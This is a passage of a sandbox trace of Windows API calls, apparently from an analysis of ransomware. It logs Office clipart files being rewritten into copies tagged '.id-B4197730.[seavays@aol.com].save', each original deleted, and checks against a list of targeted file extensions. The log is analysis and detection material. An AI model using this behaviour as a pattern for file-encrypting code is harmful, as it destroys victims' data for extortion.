(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0071.913] GetLastError () returned 0x0 [0071.913] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0072.342] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x900, lpOverlapped=0x0) returned 1 [0072.343] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.344] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.344] SetEndOfFile (hFile=0x398) returned 1 [0072.620] CloseHandle (hObject=0x398) returned 1 [0072.621] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.621] SetEndOfFile (hFile=0x368) returned 1 [0072.622] CloseHandle (hObject=0x368) returned 1 [0072.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0072.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0072.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0072.623] lstrlenW (lpString=".doc") returned 4 [0072.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.623] lstrlenW (lpString=".docx") returned 5 [0072.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.624] lstrlenW (lpString=".pdf") returned 4 [0072.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.624] lstrlenW (lpString=".xls") returned 4 [0072.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.624] lstrlenW (lpString=".xlsx") returned 5 [0072.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.624] lstrlenW (lpString=".ppt") returned 4 [0072.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0072.624] lstrlenW (lpString=".zip") returned 4 [0072.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.624] lstrlenW (lpString=".rar") returned 4 [0072.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.624] lstrlenW (lpString=".bz2") returned 4 [0072.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.624] lstrlenW (lpString=".7z") returned 3 [0072.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0072.624] lstrlenW (lpString=".dbf") returned 4 [0072.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0072.624] lstrlenW (lpString=".1cd") returned 4 [0072.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0072.625] lstrlenW (lpString=".jpg") returned 4 [0072.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.625] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.625] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0072.626] GetLastError () returned 0x0 [0072.626] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x760, lpOverlapped=0x0) returned 1 [0072.628] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x770, lpOverlapped=0x0) returned 1 [0072.629] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.629] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.629] SetEndOfFile (hFile=0x398) returned 1 [0072.629] CloseHandle (hObject=0x398) returned 1 [0072.629] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.629] SetEndOfFile (hFile=0x368) returned 1 [0072.630] CloseHandle (hObject=0x368) returned 1 [0072.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0072.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0072.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0072.631] lstrlenW (lpString=".doc") returned 4 [0072.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.631] lstrlenW (lpString=".docx") returned 5 [0072.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.631] lstrlenW (lpString=".pdf") returned 4 [0072.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.631] lstrlenW (lpString=".xls") returned 4 [0072.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.632] lstrlenW (lpString=".xlsx") returned 5 [0072.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.632] lstrlenW (lpString=".ppt") returned 4 [0072.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0072.632] lstrlenW (lpString=".zip") returned 4 [0072.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.632] lstrlenW (lpString=".rar") returned 4 [0072.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.632] lstrlenW (lpString=".bz2") returned 4 [0072.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.632] lstrlenW (lpString=".7z") returned 3 [0072.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0072.632] lstrlenW (lpString=".dbf") returned 4 [0072.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0072.632] lstrlenW (lpString=".1cd") returned 4 [0072.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0072.632] lstrlenW (lpString=".jpg") returned 4 [0072.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.633] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.633] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0072.634] GetLastError () returned 0x0 [0072.634] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xed4, lpOverlapped=0x0) returned 1 [0072.636] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xee0, lpOverlapped=0x0) returned 1 [0072.637] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.637] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.637] SetEndOfFile (hFile=0x398) returned 1 [0072.638] CloseHandle (hObject=0x398) returned 1 [0072.638] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.638] SetEndOfFile (hFile=0x368) returned 1 [0072.639] CloseHandle (hObject=0x368) returned 1 [0072.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0072.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0072.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0072.640] lstrlenW (lpString=".doc") returned 4 [0072.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.640] lstrlenW (lpString=".docx") returned 5 [0072.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.640] lstrlenW (lpString=".pdf") returned 4 [0072.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.640] lstrlenW (lpString=".xls") returned 4 [0072.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.640] lstrlenW (lpString=".xlsx") returned 5 [0072.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.640] lstrlenW (lpString=".ppt") returned 4 [0072.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0072.640] lstrlenW (lpString=".zip") returned 4 [0072.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.640] lstrlenW (lpString=".rar") returned 4 [0072.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.641] lstrlenW (lpString=".bz2") returned 4 [0072.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.641] lstrlenW (lpString=".7z") returned 3 [0072.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0072.641] lstrlenW (lpString=".dbf") returned 4 [0072.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0072.641] lstrlenW (lpString=".1cd") returned 4 [0072.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0072.641] lstrlenW (lpString=".jpg") returned 4 [0072.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.642] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.642] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0072.643] GetLastError () returned 0x0 [0072.643] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x7e8, lpOverlapped=0x0) returned 1 [0072.645] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0072.646] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.646] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.646] SetEndOfFile (hFile=0x398) returned 1 [0072.646] CloseHandle (hObject=0x398) returned 1 [0072.646] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.646] SetEndOfFile (hFile=0x368) returned 1 [0072.647] CloseHandle (hObject=0x368) returned 1 [0072.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0072.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0072.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0072.649] lstrlenW (lpString=".doc") returned 4 [0072.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.649] lstrlenW (lpString=".docx") returned 5 [0072.649] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.649] lstrlenW (lpString=".pdf") returned 4 [0072.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.649] lstrlenW (lpString=".xls") returned 4 [0072.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.649] lstrlenW (lpString=".xlsx") returned 5 [0072.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.649] lstrlenW (lpString=".ppt") returned 4 [0072.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0072.649] lstrlenW (lpString=".zip") returned 4 [0072.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.649] lstrlenW (lpString=".rar") returned 4 [0072.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.649] lstrlenW (lpString=".bz2") returned 4 [0072.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.649] lstrlenW (lpString=".7z") returned 3 [0072.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0072.649] lstrlenW (lpString=".dbf") returned 4 [0072.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0072.650] lstrlenW (lpString=".1cd") returned 4 [0072.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0072.650] lstrlenW (lpString=".jpg") returned 4 [0072.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.651] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.651] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0072.652] GetLastError () returned 0x0 [0072.652] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x824, lpOverlapped=0x0) returned 1 [0073.017] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x830, lpOverlapped=0x0) returned 1 [0073.018] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.018] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.018] SetEndOfFile (hFile=0x398) returned 1 [0073.018] CloseHandle (hObject=0x398) returned 1 [0073.018] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.018] SetEndOfFile (hFile=0x368) returned 1 [0073.019] CloseHandle (hObject=0x368) returned 1 [0073.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0073.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0073.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0073.020] lstrlenW (lpString=".doc") returned 4 [0073.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.020] lstrlenW (lpString=".docx") returned 5 [0073.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.020] lstrlenW (lpString=".pdf") returned 4 [0073.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.020] lstrlenW (lpString=".xls") returned 4 [0073.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.020] lstrlenW (lpString=".xlsx") returned 5 [0073.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.020] lstrlenW (lpString=".ppt") returned 4 [0073.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0073.020] lstrlenW (lpString=".zip") returned 4 [0073.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.020] lstrlenW (lpString=".rar") returned 4 [0073.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.020] lstrlenW (lpString=".bz2") returned 4 [0073.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.020] lstrlenW (lpString=".7z") returned 3 [0073.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0073.021] lstrlenW (lpString=".dbf") returned 4 [0073.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0073.021] lstrlenW (lpString=".1cd") returned 4 [0073.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0073.021] lstrlenW (lpString=".jpg") returned 4 [0073.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.021] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.022] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0073.022] GetLastError () returned 0x0 [0073.022] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x228, lpOverlapped=0x0) returned 1 [0073.023] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x230, lpOverlapped=0x0) returned 1 [0073.024] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.024] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.024] SetEndOfFile (hFile=0x398) returned 1 [0073.024] CloseHandle (hObject=0x398) returned 1 [0073.025] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.025] SetEndOfFile (hFile=0x368) returned 1 [0073.026] CloseHandle (hObject=0x368) returned 1 [0073.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0073.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0073.026] lstrlenW 